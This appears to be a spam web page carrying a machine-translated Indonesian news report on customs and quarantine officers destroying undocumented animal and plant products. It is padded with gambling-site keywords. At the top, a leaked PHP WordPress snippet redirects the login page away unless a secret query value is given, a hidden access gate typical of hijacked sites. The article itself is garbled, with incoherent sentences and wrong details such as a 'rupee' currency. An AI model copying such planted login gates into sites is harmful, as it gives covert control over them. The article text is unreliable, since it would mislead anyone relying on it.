//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Sinergi pabean menghancurkan pestisida dan biologis | adu ayam bali_s128.net login_s128.live

Sinergi pabean menghancurkan pestisida dan biologis

TRIBUNNEWS.COM-Untuk melawan ancaman penyebaran pandemi Covid-19, bea cukai dan karantina pertanian menghancurkan media Jayapura dan Tanjungbalai yang membawa hewan dan tumbuhan karantina (HPHK / OPTK) pada Kamis (9/4). — Bea Cukai Jayapura dan Biro Karantina Pertanian Kelas I Jayapura sekali lagi menghancurkan 47 kilogram vanili yang dikeraskan dari Papua New Guinea dan HPHK / OPTK.Tumbuhan ini 18 ayam dan unggas dari Surabaya dan tenggara provinsi Maluku, dan dua lagi. Biji pisang. Kepala departemen penegakan hukum mengatakan: “Vanilla adalah tempat di mana Departemen Pabean dan Imigrasi dan Karantina Jayapura bekerja sama dan telah diserahkan ke Pusat Karantina Pertanian Jayapura untuk dihancurkan.” Aplikasi bea cukai Jayapura, Hadi Wijaya.

Dia menambahkan, produk hewani. Dan jika tanaman diimpor dari tempat asal ke Jayapura tanpa dokumen resmi, jika tidak dilepaskan, mereka akan punah sesuai dengan peraturan. Nilai ekonomi total semua HPHK dan OPTK yang dihancurkan kali ini diperkirakan sekitar 85 juta rupee.

Bahkan dalam kasus pandemi Covid-19, penghancuran ini masih di luar pertimbangan keamanan. Proses eliminasi dilakukan oleh 2 personel perwakilan dengan menggunakan APD lengkap untuk mencegah penyebaran virus HPHK / OPTK dan menghancurkan bakteri.

“Saya berharap berbagai institusi akan terus melindungi dan melindungi Papua dari sinergi masuknya HPHK / OPHK, dan melindunginya dari penyebaran flu burung HPHK / OPTK dan virus lainnya,” kata.

Pada saat yang sama, pada hari yang sama, Bea Cukai Telok Nibang dan Tim Karantina Pertanian I Tanjungbalai Asahan juga menghancurkan 25 jenis produk olahan hewan dan tanaman yang merupakan HPHK dan OPTK, termasuk daging olahan, buah-buahan dan sayuran.

Wayan Sapta Dharma, kepala Kantor Pabean Teluk Nibung, mengungkapkan bahwa HPHK dan OPTK yang hancur adalah hasil dari gugatan terhadap bagasi penumpang di Terminal Feri Teluk Nibung dari Februari 2020 hingga Maret 2020. Dia berkata: “Ini adalah bagasi penumpang yang memasuki Pelabuhan Feri Internasional Teluk tanpa dokumen karantina, dan entri mereka dilarang.”

Dalam pelaksanaan lapangan, Bea Cukai Teluk Nibang dan Tanjung Barra Stasiun Karantina Pertanian Kelas I Iahan masih bekerja bersama untuk melindungi operator HPHK dan OPTK dari ancaman masuk. (*)

Leave a comment

adu ayam bali_s128.net login_s128.live